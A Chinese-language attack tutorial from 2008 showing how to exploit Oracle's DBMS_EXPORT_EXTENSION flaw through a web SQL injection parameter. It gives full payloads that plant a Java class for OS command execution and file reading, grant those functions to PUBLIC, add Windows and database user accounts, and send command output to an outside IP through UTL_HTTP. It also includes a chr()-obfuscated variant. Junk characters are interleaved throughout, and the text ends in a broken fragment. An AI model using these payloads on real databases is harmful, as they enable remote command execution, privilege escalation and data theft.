以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 ) ~& {# [( b% X) }' L3 u
4 l( B3 J9 P+ ~- O! H- `( c& b
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) ! I; `. {& x# t' g" }
的形式即可。(用" 'a'|| "是为了让语句返回true值) 4 p( ^+ L8 v6 A( }1 }" ]
语句有点长,可能要用post提交。
2 W; d3 ^4 U+ [/ V- V& y& j8 g0 I以下是各个步骤:
1 g7 X, d* W3 Z" `# `1.创建包 , Y+ |" O8 @& O' T- o
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:) f, b" T1 \% g
/xxx.jsp?id=1 and '1'<>'a'||( b% ^5 x+ e) b8 }, O
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 J D" k' n$ w3 Zcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(* j; u; c% O& E2 _1 x9 i8 h1 }
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
8 V# {: r$ ], l/ i/ ^; q( m}'''';END;'';END;--','SYS',0,'1',0) from dual 1 F( U5 g9 N [- O, a3 z
) 4 M; k" F3 D, s( H
------------------------ : W$ z: L/ b! |$ Z+ L3 D: d: q& A7 c
如果url有长度限制,可以把readFile()函数块去掉,即: - e$ M' H5 z6 I2 D/ }$ k* m
/xxx.jsp?id=1 and '1'<>'a'||( : g8 n& W! T3 |* K
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
) O3 e; g- _( q" B! }. _: hcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
$ u" d" q* Y; inew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
* Z& N- k* N$ ]( A}'''';END;'';END;--','SYS',0,'1',0) from dual * ]+ e6 @, _/ Q; n% ?
) " v" ^+ N+ ^- s' N( f3 ]# G# F2 J
同时把后面步骤 提到的 对readFile()的处理语句去掉。 ( q+ U0 U- v; w* U `! |
------------------------------ . B* o( _* S: Y/ m, a. d7 ], W
2.赋Java权限 2 M: D* M5 S% a( D: l3 V* s* N! q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual: V0 p; R4 `% j, H0 n# k. W
3.创建函数 4 y; t% H" J2 @& ?" ?/ {: ^ A4 O
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 s y3 ~4 o) {& F# P6 u/ {% \, Dcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
# Z1 G6 z+ J$ p. ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 _# z# v9 v7 \3 l& R% u
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual/ R/ s4 | }! o4 c* |- g
4.赋public执行函数的权限 . n. m2 F/ |% E/ Z: t
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
' R' W4 M* _2 }% sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
1 q. S3 z, _& V y9 P- k; h5.测试上面的几步是否成功 ! S$ d) {9 M/ p0 |1 @$ M& \
and '1'<>'11'||( - Y' ?- I% W6 c/ D. ]
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
( I4 t1 d# w7 C% T: {7 D) " G7 Y6 l: d6 M/ P
and '1'<>(
; P& J0 A( i# Dselect OBJECT_ID from all_objects where object_name ='LINXREADFILE' $ M# Z* I; U$ @, X
) % W, _( |( q/ D9 p8 B8 }, I1 i) Q
6.执行命令: 0 d! E$ S$ [1 q+ F
/xxx.jsp?id=1 and '1'<>(
1 J0 N7 d8 y Q7 }7 N& K0 Jselect sys.LinxRunCMD('cmd /c net user linx /add') from dual Q; W3 b4 f1 P! c
j; y2 R3 O" V: l/ J8 M, {)
+ W0 Z, \+ l. ?, k" U5 T5 e/xxx.jsp?id=1 and '1'<>( . `6 R Q( j2 x& `3 x% J
select sys.LinxReadFile('c:/boot.ini') from dual) ~5 U# A2 S8 P& j9 h: F
# v: G7 R- @- o! F3 |; c3 g6 W) ?. [ x" `# z$ ]* |! y
& c w' N& ?" j; U* N
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 . K, H. F% {4 l- Z s/ b
如果要查看运行结果可以用 union : : a+ |) H- Z1 ]
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
9 Z; s1 X! ^5 N, ^5 O/ |或者UTL_HTTP.request(:
" d3 o( y* @" v# k( R g/xxx.jsp?id=1 and '1'<>( ; I) X/ j) u7 r: l. l
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
% x( ^* ]: O3 c8 q2 H' [)
3 z _( S9 G1 H) U/xxx.jsp?id=1 and '1'<>( & O8 ~1 ^2 @3 X/ g
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
1 E$ `# |1 X9 F; u& w, i& I& s$ G) 8 n9 t% d& N( _
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。( g& y$ G; d$ W( k' d- {7 k
-------------------- ; \! o" m/ X+ I9 Y6 R" H
6.内部变化
6 y4 B& l9 T9 L! f# J0 I+ c通过以下命令可以查看all_objects表达改变:
$ c" s3 y' {& sselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
+ T7 G* H- C7 n! e8 R- B1 [7.删除我们创建的函数 3 u9 G f1 b* l0 O J9 |% w
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': j* G5 {: _( a% n+ \8 f; L
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual ( S9 u& n1 ?8 F, V- j
==================================================== ~- P# F$ ^* c4 K/ z0 K
全文结束。谨以此文赠与我的朋友。
# z6 b g, e& F; r5 W6 Tlinx 1 L9 m7 j/ g; k H5 s8 k
124829445
# Y: G( |5 n, q& b7 b% x2 P2008.1.12 : a' n9 h( |" F+ M/ | o2 R
linyujian@bjfu.edu.cn
' ]) Y& N3 {( c! t1 O/ S======================================================================
/ T6 ~' d9 i# K& ~0 Y" t测试漏洞的另一方法:
( E" r4 p( M( ]& I: z创建oracle帐号: 0 U, O) r, Q$ ?8 e$ L2 E
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! g/ k6 K: h, ?- x5 a: c. X
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual/ s8 Y/ Y i; ?. v3 Y* J. o- _& X
即:
+ _# Q# _* \: z" D& J% {1 ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),) }4 ^$ D' g1 Q% I# |3 `! f# H
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
1 l- b# }; O3 E1 b8 m% Y确定漏洞存在:
/ y4 t% j7 {- z1 Z1<>(
$ W( ?: I7 {( V! {5 h! j6 B1 V7 zselect user_id from all_users where username='LINXSQL'
; ?$ o: p4 {# K8 `0 g)
q1 s. o5 J2 ]) h& D/ I给linxsql连接权限:
2 U! M1 |8 P7 r0 b- h" T& x ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 B- v' Y: \4 \% u7 \GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
r: ~8 @4 q l9 D, e' \删除帐号: * i, R/ `. W% G
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') B, }3 t3 k- O: W
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual ! L; L/ F7 X9 V5 r- E1 Z, P
======================
. H7 v: t5 S1 j4 }" W以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:; r9 e9 T$ M% m; {
1.jsp?id=1 and '1'<>(
" x0 |3 j$ H3 wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
4 G, T2 S2 M& T6 Wcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
1 w& o Y$ W$ s: {( e( O) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE- S. q3 v+ K! L! O
)
7 e& { `" a+ c _; }0 T% |; J5 `, ^" E3 V6 C7 J
8 b r8 z. u r/ `2 ?2 J( y
( Y8 }, q f, U" ^ ^' _7 q/ x |